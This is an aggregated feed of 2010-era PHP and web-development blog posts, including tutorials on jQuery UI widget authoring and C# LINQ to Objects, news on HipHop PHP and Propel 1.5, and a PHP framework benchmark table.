With the Web Platform Installer, the installation of the needed software is just a few clicks (and configuration settings) away. Windows users will feel right at home. His screenshots guide you through the whole process and you'll end up with IIS, PHP and MySQL installed to run the WordPress blogging platform on your local machine.
Here's what was popular in the PHP community one year ago today:
I've been a big fan of Subversion since 2005, but since lately I've been having a bit of distributed source-control envy. Many people seem to be switching to Git and Mercurial, and frankly I've felt a bit left behind.
For some smaller stuff I've been starting to use Mercurial a bit more, and I've been pretty easily convinced since then. If you have some random code lying around, and need to make some changes you might need to revert? Just enter "hg init ." and now it's a repository. hg add, hg commit and it's committed as a first repository.
So I've bit the bullet and now also converted SabreDAV to Mercurial, which was a very easy process using Google's manual (which by the way could apply for non-google repo's too). The biggest change from here on is to remember to type hg instead of svn.
Joel Spolsky actually recently wrote a nice tutorial for hg, pretty easy to get through; especially if you already understand version control.
In this week’s plus video tutorial, we’ll teach you how to design a home page for a website using Adobe Fireworks CS4. Over the course of the video, you’ll learn numerous tips and tricks to accomplish the final design, including how to work with a grid. Help give back to Nettuts+, and join Plus!
In Depth Video Training
Final Design
Join Tuts Plus
For those unfamiliar, the family of TUTS sites runs a premium membership service called “TUTSPLUS”. For $9 per month, you gain access to exclusive premium tutorials, screencasts, and freebies from Nettuts+, Psdtuts+, Aetuts+, Audiotuts+, and Vectortuts+! For the price of a pizza, you’ll learn from some of the best minds in the business. Join today!
At the recent Symfony Live conference I used the core team QA to address the audience to push for building new dedicated apps on top of general purpose frameworks like symfony and friends. More importantly those efforts should be released as early as possible in the development process as open source to ensure that others join instead of creating their own and then eventually releasing more and more redundant solutions. See the various symfony CMS solutions are an example of how wrong things can go. We now have several solutions whose architectural differences are either cosmetic or simply bad design decisions probably a result of trying to invent things in the small ecosystem of a company project team. So I was very happy to hear then that phpBB will adopt Symfony 2 for their next version. Hopefully this will become a role model for others.
At the conference we also talked about how to better merge the current CMS efforts for Symfony 2, but I fear that will proof to be tricky. From my experience the easiest approach is to put stuff out there early so that people can pool around a leader (or a hand full of leaders): there might be one or two other competitors that differentiate themselves via fundamentally different approaches (lets say a RDBMS vs. a document store CMS or using flat files or a database for configuration). With the ecosystem we have for CMS solutions for symfony 1.x we have several solutions that were open sourced by companies in the hopes of getting new customers, where collaboration with the community is more a nice side effect than the real focus. There the risk of turf wars is quite high since there would simply be too many potential leaders.
So I hope that there will be a fast mover that will proof to be a good leaders as well. Liip might even attempt to become just that building on top of the Jackalope project to provide a JCR based CMS for the PHP world. I assume phpBB will have a need for various social networking features which many currently popular CMS solutions also offer, so there might also be an opportunity for them to lead some of these aspects, but it might be too large a burden to deal with the Symfony community at large, while they are just joining themselves. Meaning they might also need to convince their developers that this is the way to go, which means they probably want to see more code and less talk.

The latest episode of php|architect's "oddWeek" podcast has been released - oddWeek #003:
This week's special guest is Nate Abele, founder of the new PHP framework Lithium. Join us as we talk to Nate about the goals of Lithum and the trials of setting up an open source project.
You can find out more about the Lithium framework on the Rad-Dev.org website too. As far as this episode, you can listen to it in one of three ways - via the in-page player, by direct download or, the easiest way, subscribe to their feed and get other great episodes and news from php|architect.
jQuery contains the fn.extend() method, which makes authoring jQuery plugins quite easy, allowing us to write code that is used in exactly the same way as other jQuery methods. jQuery UI also contains structures that make authoring custom jQuery UI plugins easy. So that’s what we’ll be looking at over the course of this tutorial. The methods used differ from that of standard jQuery plugins, and there are stricter conventions that should be followed, which is why I feel the topic is deserving of an article.

Over the course of this tutorial, I’ll show you the coding conventions and general guidelines that should be adhered to when authoring plugins for jQuery UI. We’ll be creating a simple plugin that just adds captions to images on the page. It’s purposely simple so that we can focus on what is needed to make a jQuery UI plugin without getting lost in the code. Anyone that’s written a jQuery plugin should have no problems. Knowledge of jQuery UI may help but shouldn’t be essential to complete this tutorial. Let’s get started.
Getting StartedWe’ll need a copy of jQuery as well as a couple of files from jQuery UI, but it needs to be jQuery UI 1.8 (this can be found on the blog). Create a working directory somewhere on your machine called jqueryui-plugin, then inside this create a css folder, a js folder and an img folder (the images used in this tutorial can be found in the code download).
Download the library and unpack it somewhere accessible. We only need a few files from the archive, namely the jQuery source file which is in the root of the archive as jquery-1.4.1.js, and the jquery.ui.core.js and jquery.ui.widget.js files, which are both in the ui folder. Grab these and put them into the js folder in your working directory. We’ll be making light use of the CSS framework as well, so we’ll need one of the theme style sheets available with the current stable version of jQuery UI (I used ui-lightness in this example).
We’ll be making a captionator widget, so we’ll also need a page, with a bunch of images on it, to develop/test the plugin with. This example uses the following page:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta [http-equiv="Content-Type"] content="text/html; charset=utf-8"> <title>jQuery UI Captionator</title> <link rel="stylesheet" type="text/css" href="css/ui-lightness/jquery-ui-1.7.2.custom.css"> <link rel="stylesheet" type="text/css" href="css/ui.captionator.css"> </head> <body> <img src="img/1.jpg" alt="Royal Air Force Eurofighter Typhoon"> <img src="img/2.jpg" alt="A British military GR-9 Harrier"> <img src="img/3.jpg" alt="Two RAF Tornado GR-4s pull away from a KC-135 Stratotanker after refueling"> <script type="text/javascript" src="js/jquery.js"></script> <script type="text/javascript" src="js/jquery.ui.core.js"></script> <script type="text/javascript" src="js/jquery.ui.widget.js"></script> <script type="text/javascript" src="js/jquery.ui.captionator.js"></script> </body> </html>
We’ll keep things pretty simple for now; we’ve just three images on the page, followed by four script files; three link to the jQuery and jQuery UI source files, the fourth to our plugin’s source file which we’ll create shortly. The jquery.ui.core.js file is required by all jQuery UI widgets/plugins. The jquery.ui.widget.js file is the widget factory and allows for the creation of consistent widgets that share common API functionality. Most library components require this, and we’ll be using it to create our plugin.
Creating the Plugin FileCreate a new JavaScript file and save it as jquery.ui.captionator.js in the js folder; we should keep to jQuery UI’s naming convention, which has just been updated in the 1.8 version of the library, and use jquery.ui.plugin_name.js. Add the following code to the new file:
(function($) {
})(jQuery);
All of the code that makes up our plugin should be encapsulated within a self-executing anonymous function. The jQuery object is passed into this function and is used inside the function via the $ alias; this is to ensure that the plugin is compatible with jQuery’s noConflict() method. This is a specified requirement and should always be adhered to.
Next we need to define the plugin; add the following code to our anonymous function:
$.widget("ui.captionator", {
});
The pattern for using the widget factory is simple to use, we just call the widget() method specifying the name of the plugin as the first argument, and an object literal containing the properties and methods that make the plugin function. This allows our plugin to be called (and created) using the commen jQuery syntax $(“element_caption_applied_to”).captionator(); like any other jQuery or jQuery UI method.
The widget factory provides a number of these properties and methods for us; for example, we can set the default options for the plugin using the options property, and add an initialisation function that is executed automatically by the widget factory as soon as an instance of the plugin is invoked. Within the object that appears as the second argument in the previous code add the following code:
options: {
location: "bottom",
color: "#fff",
backgroundColor: "#000"
},
These are the only options we’ll use in our example plugin; users (and by users I mean implementers, not end users) of the plugin can specify the position of the caption to be either at the top of the image it is called on, or the bottom, they can specify the color of the text on the caption, or change the background-color of the caption. To change a configurable option of any jQuery UI widget prior to initialisation the implementing developer would just use something like this:
$(“element_caption_applied_to”).captionator({ location: “top” });
Next we can create our initialisation function, after the options object add the following method:
_create: function() {
var self = this,
o = self.options,
el = self.element,
cap = $("<span></span>").text(el.attr("alt")).addClass("ui-widget ui-caption").css({
backgroundColor: o.backgroundColor,
color: o.color,
width: el.width()
}).insertAfter(el),
capWidth = el.width() - parseInt(cap.css("paddingLeft")) - parseInt(cap.css("paddingRight")),
capHeight = cap.outerHeight() - parseInt(cap.css("paddingTop")) + parseInt(cap.css("paddingBottom"));
cap.css({
width: capWidth,
top: (o.location === "top") ? el.offset().top : el.offset().top + el.height() - capHeight,
left: el.offset().left,
display: "block"
});
$(window).resize(function(){
cap.css({
top: (o.location === "top") ? el.offset().top : el.offset().top + el.height() - capHeight,
left: el.offset().left
});
});
},
The method name should begin with an underscore as jQuery UI prevents any plugin method that begins with an underscore from being called from outside of the plugin, so this stops it being accidentally called from the HTML page. Any method that we begin with an underscore will be protected in this way.
The majority of our initialization method is a series of variables; within our function the keyword this refers to an object passed into the method which represents the instance of the plugin. The first variable caches a reference to the current instance of the plugin; the _create method is called for each element that the plugin method is called on, which could be a single element or several.
We can access the default options of the plugin (which are overridden automatically if the implementer configures any of them) using the options property of the object; we cache this in the second variable. The element that the plugin method (captionator()) was called on, which in this example would be an image, can be accessed using the element property of the object. We store this in the third variable.
We use the fourth variable to store a reference to the new caption element, which is built from a simple <span>; the <span> has its innerText set to the alt attribute of the current image, and several class names are added to it; we give it the ui-widget class name so that it can pick up some default styling from the current jQuery UI theme. We also give it a custom class name so that we can add some of our own styling.
Next we need to set some CSS properties; we’ll be using a separate style sheet for some styles, but certain things, such as the color and background-color styles are controllable via configurable options, so we need to set these using the plugin. The width of the caption needs to match the width of the image that it overlays, so we also need to determine this and set it programmatically. Finally the new <span> is injected into the page directly after the target image.
Once the caption has been inserted, it needs to be sized and positioned; the only way it can be sized accurately is if it already exists in the DOM and has CSS rules applied to it, such as the font-size. This is why we append the caption to the page, and then determine its exact dimensions, which are then stored in the variables capWidth and capHeight.
Once the caption has been appended to the page (and only then) we can work set the correct width, height and position of each caption, which we set using the css() method once again. The captions are actually completely separate from the images; they are inserted directly after each image and then positioned to appear to overlay the images, after all, we can’t append the <span> as a child of the <img>.
This is fine, until the browser is resized, at which point the images move but the captions don’t because they are absolutely positioned. To remedy this, we’ve used a basic resize handler attached to the window which simply repositions each caption to the new position of its image. This event handler is the last thing in our initialization method.
Another method that our plugin should expose is the destroy() method which is common to all jQuery UI plugins. We must provide an implementation of this method in order to clean up after our plugin. For our example plugin, the method can be as simple as this:
destroy: function() {
this.element.next().remove();
$(window).unbind("resize");
},
All we need to do is remove the captions and unbind our window resize handler. This method can be called by an implementer using the plugin so we shouldn’t begin this method name with an underscore. To call this method, the implementer would use $(“element_caption_attached_to”).captionator(“destroy”); which is how any of our public methods would be called.
We need to provide another method controlled/executed by the widget factory; we saw earlier how a developer could change a configurable option prior to initialisation, but what about after initialisation? This is done using the option method using the following syntax: $(“element_caption_attached_to”).captionator(“option”, “location”, “top”); so we need to add the built-in method _setOption to handle this:
_setOption: function(option, value) {
$.Widget.prototype._setOption.apply( this, arguments );
var el = this.element,
cap = el.next(),
capHeight = cap.outerHeight() - parseInt(cap.css("paddingTop")) + parseInt(cap.css("paddingBottom"));
switch (option) {
case "location":
(value === "top") ? cap.css("top", el.offset().top) : cap.css("top", el.offset().top + el.height() - capHeight);
break;
case "color":
el.next().css("color", value);
break;
case "backgroundColor":
el.next().css("backgroundColor", value);
break;
}
}
We start this method with an underscore because the implementer uses option, not _setOption to actually change the options; we don’t need to worry about how this is handled, we just need to provide this method to deal with anything specific to our plugin. Because this method already exists in the widget factory we should call the original method, which we do first of all in our method using the prototype of the Widget object, specifying the method name (_setOption in this case but we could do it for other built-in methods as well) and use apply to call it. We can then proceed with the code specific to our plugin.
The function will automatically receive two arguments which are the option to change and the new value. We cache some commonly used elements, such as the image and the caption, and obtain the current height of each caption. We then use a simple switch-case statement to handle each of our three options being changed. Repositioning the captions is the most complex, but is still quite trivial and similar to how we positioned them initially.
Adding EventsIt’s important to add events that developers using your plugin can add callbacks for so that they can react to different things happening when users interact with the widget in some way. The widget factory handles most of this task for us, all we need to do is trigger the event. This plugin doesn’t really do much, but we could still trigger an event after each caption is added to the page; to do this add the following code directly before the resize event handler:
self._trigger("added", null, cap);
That’s all we need to do! A single line of code and we have a custom event that can be reacted to. We call the _trigger() method of the plugin instance (which we stored in the variable self) and pass the method three arguments; the first is the name of the event, the second is for the event object (we don’t need to use this in our example plugin, hence the null value) and the third is a reference to the caption element. The widget factory will automatically pass the event object (if supplied) and the data we pass in the third parameter to a callback function that uses the added event. A developer could hook into this event using the following syntax: $(“element_caption_attached_to”).captionator({ added: function(e, ui){ //do stuff });
Styling the PluginWe only need a very tiny style sheet for our plugin, literally we have just three styles. It’s almost not even worth creating a separate file for the styles! But we will, so create a new file called ui.captionator.css, which is the required format for plugin style sheets, and save it in the css directory. Add the following styles to it:
.ui-caption { display:none; position:absolute; padding:10px; }
That’s all there is to it. Our plugin is now functionally and visually complete. The captions should appear like this:
Summary
Like jQuery’s plugin creation method fn.extend(), jQuery UI also has its own mechanism that allows developers to quickly and easily write robust and scalable plugins that meet the jQuery UI projects high standards, although in terms of what it actually does for us, it’s even better that jQuery. The widget factory has been created in such a way that pretty much all of the hard work is taken out of custom plugin creation.
It’s easy to work with the methods provided by the widget factory to add methods to our plugins that are common across UI widgets, such as the destroy and option methods, which implementing developers would expect to find in any plugin. We also saw just how easy it is to trigger custom events that developers can use to react to interactions or occurrences with the widget.

Michael Wales has taken a look at what effect HipHop could have on your CodeIgniter application (or lack there of).
So, what does this mean for the CodeIgniter community? In short, absolutely nothing. Most CodeIgniter developers are building applications that will run on shared hosts, virtual private servers or a cloud-based virtualization system. Of that very large group of our community, an extremely small number have the capability to compile the HipHop binaries or alter their configuration in order to serve HipHop pages.
He points out that, for most developers and applications, time is better spent optimizing the actual application - things like reducing the I/O needs, caching, etc. HipHop, unless you have a very high demand and load on the application, won't give much of a gain. He gives the example of Facebook's load and how even it would only relatively recently would benefit from the tool.

In a new post to his blog Padraic Brady takes a humorous look at benchmarking PHP frameworks in a response to some of the other recent posts from developers on the Symfony and Solar frameworks.
Some recent attention in the PHP framework community has been focused on the recent publication of Symfony 2 Preview benchmarks showing that Symfony 2 outperforms Zend Framework by a factor of 3.5. It also outperforms every other benchmarked framework. [...] My fellow Zend Frameworkers, we cannot allow this to stand. [...] I have created the benchmark of benchmarks. Well, to be honest, I only really edited another benchmark. But still, it will prove Zend Framework is faster than everything else out there.
His benchmarks are a little different from the rest with both the usual comparisons between the framework request numbers and a bit of explanation on how the Zend Framework came out on top - he cheated. What it really boiled down to was how the code that was tested was written. His code was optimized in a few different ways (All-in vs the Optimized/More-Optimized/What-The-Fuck-Optimized) and he includes custom benchmarks to show how they differ. What it really boils down to from his perspective is simply put:
Benchmarks. Useless. Final words? Know your framework! All this benchmarking nonsense does little good unless it's plastered with disclaimers.

On the DZone's RIAZone there's a recent article from Ryan Stewart looking at combining PHP and Flex and get them talking to one another with the help of PHP's socket functions.
There are a number of ways to communicate between Flex and PHP but one of the more interesting is over sockets. Socket communication lets developers create near real-time communication by pushing information directly to the client. In this article you'll see the basics of how to use PHP as the socket server and connect it to a Flex application.
Using direct socket connections, the client and server communicate directly over a port and any data can be easily passed back and forth over it. This method requires that you set up a policy file for the application for security reasons before it can communicate with the PHP backend. With this in place, the rest is easy. They include the PHP code you'll need to make the socket request handler and how to return a response that the Flex application can read. Code for the Flex application side of things is included as well - a simple application that grabs a "stock price" and plots it on a graph (seen here).

A few version back the Zend Framework introduced a handy component that can help you get a Zend Framework started quickly - Zend_Tool (and the command line "zf"). It works like a charm on unix-based systems, but has some quirks about it on Windows. To help with the situation, Cal Evans has posted a guide on Zend_Tool and how he got it working on his Windows 7 platform.
One of the cool things about Zend Framework is it's cli tool, Zend_Tool. (zf) When zf works, it's awesome. However, when it breaks, it's a real pain in the butt. [...] Even though it's made great strides, setting up zf is still not seamless. To that end, here is my list of steps needed to setup zf.
He's using XAMPP on a Windows 7 machine and has a list of eight steps you'll need to follow to get Zend_Tool playing happily including locating certain directories (your general path, the path to your php.exe) and a few commands to tell the Zend Framework where to correctly deposit its files. If all goes well, you'll get this kind of result (screenshot). He mentions a slight problem, though - defining your own providers and them not being recognized. It can be corrected, though, using this handy tip.
MeeGo is the new mobile Linux platform developed by Nokia and Intel. As the community is forming up, we thought that it would be good to enable people to use their maemo.org identities also on the MeeGo web services (as well as on any other OpenID enabled website). For this, let me introduce Maemo's OpenID provider.
First of all, go to meego.com and click login:

Select the "Log in using OpenID" option, and provide your maemo.org OpenID URL:

Then the request will be redirected to maemo.org where the site will check your credentials and ask whether to relay your information on to meego.com:

And that's it, suddenly you can use your maemo.org account with meego.com!
The same OpenID provider component can also be utilized on any other Midgard-powered website.
Jose Antonio Bayona Medina has put up a slideshow demonstrating how to use the basic technique outlined in this chapter to add PHP-GTK 2 autocompletion in Netbeans 6.7.
Anyone who knows me knows that when I talk about the model, I’m usually talking about Propel. I’ve liked Propel ever since I started working with it in the middle of last year; I personally find it easier and more fun to use than Doctrine or other ORMs available today. I was excited to see recently that Propel’s development team had released Propel 1.5 as a beta, with a launch of the new features to come soon.
There are a couple new features in Propel 1.5 that I think are going to be pretty awesome additions. Here are my two favorites:
Collections and On-Demand Hydration
One of the things you’d sometimes have to do with Propel is fetch an array of objects and iterate through that array to find the data you wanted. However, this created a significant concern: it actually had to hydrate these objects all at the same time. This means that if you had a limit of, say, 200,000, you could quite possibly run out of memory.
Propel 1.5 adds the ability to have the Collection object hydrate the objects on demand, rather than all at once. This saves memory until the object is actually requested. Propel is smart enough not to need to run back and forth to the database; it still has access to the results set, but doesn’t hydrate the objects until it needs them.
Model Queries
Prior to Propel 1.5, in order to query the database in any unusual way (say, attaching an unusual WHERE clause for example), you had to use a Criteria object. Criteria objects were exceptionally useful, but had certain limitations, the largest one being that they are unaware of the way the model is constructed, and therefore cannot offer additional help at building queries.
With the introduction of Propel 1.5, there is a new set of classes automatically generated called Query classes. These classes extend the Criteria class, incorporating it’s functionality while offering helper methods that make writing common queries easier. For example, if you’re searching for a user you can find that user more easily because there will be a method named findByUsername() that you can access.
These features, along with lots of other cool components, make Propel 1.5 pretty awesome. I’m looking forward to it’s stable release and to integrating it into my development in the near future.
Because of JavaScript’s dependence upon globals, it might be easy to forget that creating private variables can be accomplished quite simply, thanks to closures. In just a few minutes, I’ll demonstrate two common techniques which allow for private variables and methods in your projects.
Watch on your iPhoneThe key to this particular method is to create a variable that is equal to the returned value of a function. That way, we can specifically choose with values and methods are available to our object. Thanks to closures, we’ll still have access to these private variables, even after the object has been returned from our singleton.
var MyObj = function() {
// Private variables
var priv1 = 'private 1',
priv2 = 'private 2';
// Only the methods and properties within this object will be available.
return {
doSomething : function() {
// alert(priv1); // private 1
alert(this.someProp); // someValue
},
someProp : 'someValue'
}
}(); // execute the function when the MyObj variable is initialized.
MyObj.doSomething();

In a recent post to the php|architect site Marco Tabini has a suggestion of five meta-skills he thinks every PHP developer should learn.
But being a PHP developer is much more than writing PHP code. In fact, good PHP skills would be something that I would take for granted that every PHP developer should have'"and, if enough employers are as crazy as I am, there's a chance that I'm not the only one who wants to look beyond mere PHP to decide who is good and who is exceptional.
His list five of meta-skills for the PHP developer covers a wide range of things, not just involving the technology of web development:

On the PHPClasses.org blog today there's a new post that talks about source code compilers and a few of the popular PHP compilers to help you optimize your code.
Several PHP compilers existed since many years ago, but the fact that it is actually Facebook releasing their [HipHop] compiler made it a very relevant matter for PHP developers, as Facebook is currently the busiest site in the world that is developed mostly in PHP.
He briefly explains what compilers can do for you (with diagrams) and takes a look at some of the native machine code compilers like Roadsend, PHC Open Source Compiler and Facebook's HipHop. He's also run a few benchmarks to show the performance of the resulting compiled code from each compiler. Some general conclusions are also included like dynamic vs. static PHP, opcode caching and the effects of I/O operations on script execution.
I have just released the bug fix version 0.9.10 of PHP_Depend. This release contains several bug fixes and improvements for PHP_Depend.
Truncated by Planet PHP, read more at the original (another 2310 bytes)

Anna Filina has posted a new item to her blog about some of her experiences with PHP 5.3 on the OS X platform including some of the different software she tried (like the Symfony framework).
I wanted to play with Symfony 2 and so needed to install PHP 5.3 on my OSX 10.5. What seemed like a simple task turned into a huge waste of my time. I use MAMP because it's a nice out-of-the-box solution. The problem is, it still doesn't ship with 5.3 because it's waiting for it to be "stable".
She tried to find a way to upgrade MAMP's installation to the latest stable version of PHP but was stopped by dependency errors and opted to go with XAMPP instead to get more of what she needed. She also has included a few edits to the post with more information - how to migrate your virtual hosts from MAMP to XAMPP and migrating over the MySQL structure.
As software developers, we spend a lot of time extracting and displaying data from many different data sources. Whether it’s a XML webservice of some sort, or a full featured relational database, we have been forced to learn different methods of data access. Wouldn’t it be great if the method of access was the same for all data sources? Well, we are in luck because, as of the release of C# 3.0 and the .NET 3.5 Framework, LINQ has come to change the game forever.
Tutorial DetailsOn the .NET platform we have been and still are utilizing ADO.NET
for accessing different data sources. The open source community has also provided
the developers with a number of alternatives.
Language Integrated Query is the new addition to the .NET
family and as the name suggests it’s the kind of query style data access which
is fully supported by the language to effectively unify the way we access data
and to make our lives easier. LINQ is able to target a number of different sources namely Oracle,
MSSQL, XML and a few others, but for now we will focus on the most basic of
all, LINQ to Objects.
Normally, to process and refine the data within our lists
and various other data structures, we have used either the ‘foreach’ loop or another
type of looping method to iterate through the objects and process them one by
one according to some condition. This is fine, but frankly it requires a lot of
basic coding that we all wish we didn’t have to write. Essentially we’ve had to tell the
compiler every single detail of the process in order to manipulate the data.
This is exactly where LINQ shines best. What LINQ allows us
to do is to simply tell the compiler what we’d like to perform and let the compiler work
out the best way to actually achieve that. If you’ve used SQL syntax before, the massive resemblances
between LINQ and any dialects of SQL will be the first thing that you’ll notice.
Like SQL, LINQ too supports the “select”, “from”, “where”, “join”, “group by”
and “order by” keywords. Here is a simple example of querying a list of objects:
List initialization:
List<Car> ListOfCars = new List<Car>()
{
new Car {name = "Toyota" , owner = "Alex" , model = 1992},
new Car {name = "Mitsubishi", owner = "Jeff" , model = 2005},
new Car {name = "Land Rover", owner = "Danny", model = 2001},
new Car {name = "BMW" , owner = "Danny", model = 2006},
new Car {name = "Subaru" , owner = "Smith", model = 2003}
};
The query:
IEnumerable<Car> QueryResult = from car in ListOfCars
select car;
The first part of the preceding code simply populates a list
with four instance of the ‘Car’ class. The next part of the code, however, uses the
“from” and “select” keywords to select a group of objects. The main difference
between SQL and LINQ is that the “from” keyword comes before the “select”
keyword because we must first define the object we want to operate on. Finally
the “select” clause tells the compiler what we wish to extract in this query. The above
code simply extracts everything that is in the list and assigns it to the “QueryResult”
variable.
When we query things from objects (LINQ to Objects) our
queries always return an “IEnumrable<T>” list of objects. Essentially the
“IEnumerable” type is the kind of list that exposes the enumerator, which
supports a simple iteration over a non-generic collection, and <T>
is the type of each entry in the list.
Don’t worry if you aren’t familiar with “enumerators” and “generics”. Just
remember that the result of LINQ queries is always a collection like data
structure which allows for iterating through it using a loop like shown
bellow:
foreach(Car car in QueryResult)
Console.WriteLine(car.name);
We learned that LINQ always returns a collection structure similar
to any other lists. However, the LINQ query does not execute until its result is
accessed by some other piece of code, like the “foreach” loop above. This is to
allow us to continuously define the query without the overhead by re-evaluating
each new step in the query.
So far so good; but most of the time, our queries will need
to be more complex; so let’s try projecting data. In SQL, Projection means selecting
the name of the column(s) of table(s) which one wishes to see appearing in the result
of the query. In the case of LINQ to Objects, performing Projection will result
in a different query result type than the type of object that we perform the
query on.
There are two kinds of Projections that we can do. We can
either perform a Projection based on an existing object type, or go completely
the other way by using anonymous types. The following example is of the first
kind:
IEnumerable<CarOwner> QueryResult = from car in ListOfCars
select new CarOwner { owner_name = car.owner };
In the preceding code, the type of the query result is declared as
<CarOwner>, which is different to <Car>, the type that ‘ListOfCar’ variable is initialized with. We have
also used the “new” keyword and have done some assignments inside the curly
brackets. In the above code, using “select” with the “new” keyword tells the
compiler to instantiate a new ‘CarOwner’ object for every entry in the query result.
Also by assigning values to the new type we have initialized each instance
of the ‘CarOwner’ class.
Nonetheless, if you don’t already have a type defined to
use, you can still perform projections using anonymous types.
It would be a big hassle if, for every Projection, you were
forced to create a new type. That is why, as of C# 3.0, support for Anonymous
types was added to the language. An Anonymous type is declared using the “var”
keyword. It tells the compiler that the type of the variable is unknown until
it’s assigned for the first time.
var QueryResult = from car in ListOfCars
select new {
car_name = car.name,
owner_name = car.owner
};
foreach(var entry in QueryResult)
Console.WriteLine(entry.car_name);
The above is an example of performing a query with Anonymous
types. The only catch to look out for is that the compiler will not
allow returning Anonymous types from methods.
Accessing the properties of an Anonymous type is easy. In Visual Studio 2008, the Code
Completion/Intellisense also lists the properties exposed by the Anonymous type.
Refining Data
Usually as part of the LINQ query, we also need to refine the
query result by specifying a condition. Just like SQL, LINQ too uses the “where”
clause to tell the compiler what conditions are acceptable.
IEnumerable<Car> QueryResult = from car in ListOfCars
where car.name == "Subaru"
select car;
The preceding code demonstrate the use of the “where” clause and
the condition to follow. To further to define multiple conditions, LINQ supports
the ‘and’ (&&) and ‘or’ (||) constructs. The “where” part of the query has to always be a
Boolean expression, otherwise the compiler will complain.
When querying objects, it’s possible to rely on the query
target being already sorted. If that isn’t the case, LINQ can take care of that
by using the “order by” clause which will ensure the result of your query is
properly sorted.
IEnumerable<Car> QueryResult = from car in ListOfCars
orderby car.model
select car;
If you run the above code, you’ll see that the result of the
query is sorted in ascending order. You can alter the order by using the “ascending” and “descending”
keywords, and further change the order by specifying more than one field to sort
by. The following code shows how:
IEnumerable<Car> QueryResult = from car in ListOfCars
orderby car.model descending
select car;
Grouping
LINQ also allows grouping the query result by the value of a
specific property as shown in this example:
var QueryResult = from car in ListOfCars
group car by car.owner into carOwnersGroup
select carOwnersGroup.Key;
As you can see, LINQ supports the “group by” clause to
specify what object and by what property to group by. The “into” keyword will
then allow us to project on a grouping result which can be accessed by the “Key”
property.
LINQ supports joining data from different collections into one
query result. You can do this using the “join” keyword to specify what objects
to join and use the “on” keyword to specify the matching relationship between
the two objects.
Initializing related list:
List<Car> ListOfCars = new List<Car>()
{
new Car {name = "Mitsubishi", owner = "Jeff" , model = 2005},
new Car {name = "Land Rover", owner = "Danny", model = 2001},
new Car {name = "Subaru" , owner = "Smith", model = 2003},
new Car {name = "Toyota" , owner = "Alex" , model = 1992},
new Car {name = "BMW" , owner = "Danny", model = 2006},
};
List<CarOwner> ListOfCarOwners = new List<CarOwner>()
{
new CarOwner {owner_name = "Danny", age = 22},
new CarOwner {owner_name = "Jeff" , age = 35},
new CarOwner {owner_name = "Smith", age = 19},
new CarOwner {owner_name = "Alex" , age = 40}
};
Query:
var QueryResult = from car in ListOfCars
join carowner in ListOfCarOwners on car.owner equals carowner.owner_name
select new {name = car.name, owner = car.owner, owner_age = carowner.age};
In the above code, using an Anonymous type, we have joined
the two objects in a single query result.
So far, we’ve learned how we can use LINQ to build a flat
list query result. With LINQ, it’s also possible to achieve a hierarchical query
result using “GroupJoin”. In simple words, we could assign objects to
properties of every entry with LINQ query.
List<Car> ListOfCars = new List<Car>()
{
new Car {name = "Mitsubishi", owner = "Jeff" , model = 2005},
new Car {name = "Land Rover", owner = "Danny", model = 2001},
new Car {name = "Subaru" , owner = "Smith", model = 2003},
new Car {name = "Toyota" , owner = "Alex" , model = 1992},
new Car {name = "BMW" , owner = "Danny", model = 2006},
};
List<CarOwner> ListOfCarOwners = new List<CarOwner>()
{
new CarOwner {owner_name = "Danny", age = 22},
new CarOwner {owner_name = "Jeff" , age = 35},
new CarOwner {owner_name = "Smith", age = 19},
new CarOwner {owner_name = "Alex" , age = 40}
};
var QueryResult = from carowner in ListOfCarOwners
join car in ListOfCars on carowner.owner_name equals car.owner into carsGroup
select new {name = carowner.owner_name, cars = carsGroup};
foreach(var carOwner in QueryResult)
foreach(var car in carOwner.cars)
Console.WriteLine("Owner name: {0}, car name: {1}, car model: {2}", carOwner.name, car.name, car.model);
In the above example, the “Join” clause is followed by an “into”
part. This differs to the previous join operation that we looked at. Here, the “into”
clause is used to group cars by the owner (into carsGroup) and assign the grouping to the
“cars” property of the anonymous type.
Thus far, everything that we’ve seen has been supported by the C# 3.0
syntax. However, there is still a large number of operations that C# 3.0 does not
support. The standard query operators provide query capabilities including
filtering, projection, aggregation, sorting and more. These operations are therefore supported
as methods of the LINQ library and can be executed on result of a query like shown in the
following screenshot:
These operators are listed below for your reference.
Aggregate OperatorsLINQ has proven itself to be very useful for querying objects, and the SQL-like syntax makes it easy to
learn and use. Also, the vast number of Standard Operators makes it possible to chain a number of operators
to perform complex queries. In a follow-up to this tutorial, we’ll review how LINQ can be used to
query databases and XML content..


Carson McDonald has just released a guide for getting the highly-anticipated release from Facebook, HipHop PHP, up and running on Fedora 12 systems (both 32 and 64 bit flavors).
The first thing to note is that they are only supporting 64 bit systems officially. [...] I'm going to assume at first that you are using a 64 bit system and then end with what you need if you are still using a 32 bit system.
He used an EC2 instance to substitute for a local 64 bit machine, but it works all the same. He includes the commands (package changes) to get the machine where it needs to be to perform the HipHop install and how to get the latest HipHop source from github. Most of the install is handled via packages, but you will need to get into the HipHop source a bit and change a few things for this issue. With everything in place you can run a cmake/make on the source and wait for the resulting binary to be created.
He's condensed down this whole process into one script for those that want a simpler solution.

Derick Rethans has been working on some updates to a tool he's developed, VLD, to make it more helpful and effecting in optimizing the opcodes in your scripts and find the dead opcodes and paths. He talks about these updates in this recent post.
Recently I've been working on some new functionality to visualise all the code paths that make up each function. These new routines sit on top of the routines that do dead code analysis. These new routines sit on top of the routines that do dead code analysis. Every branch instruction (such as if, but also for and foreach) is analysed and a list of branches is created. [...] Once all the branches and their links are found, another algorithm runs to figure out which paths can be created out of all the branches.
He illustrates with a few examples, showing both the command that was executed and the resulting output with the new path information of a simple test file using a "for" loop and an "if/else" conditional.
framework | rel | avg | 1 | 2 | 3 | 4 | 5
------------------------ | -------- | -------- | -------- | -------- | -------- | -------- | --------
baseline-html | 1.1972 | 5702.79 | 5527.29 | 5775.74 | 5779.59 | 5671.24 | 5760.10
baseline-php | 1.0000 | 4763.50 | 4718.24 | 4751.51 | 4760.75 | 4763.68 | 4823.32
zend-1.10 | 0.1596 | 760.45 | 766.90 | 764.70 | 758.62 | 752.04 | 759.98
symfony-2.0.0alpha1 | 0.1366 | 650.61 | 641.98 | 655.41 | 653.86 | 656.68 | 645.12
solar-1.0.0beta3 | 0.1131 | 538.86 | 539.76 | 536.95 | 540.63 | 540.10 | 536.87
yii-1.1.1 | 0.0821 | 390.87 | 401.90 | 392.59 | 386.18 | 395.98 | 377.72
symfony-1.4.2 | 0.0441 | 210.22 | 211.20 | 209.78 | 210.72 | 210.49 | 208.92
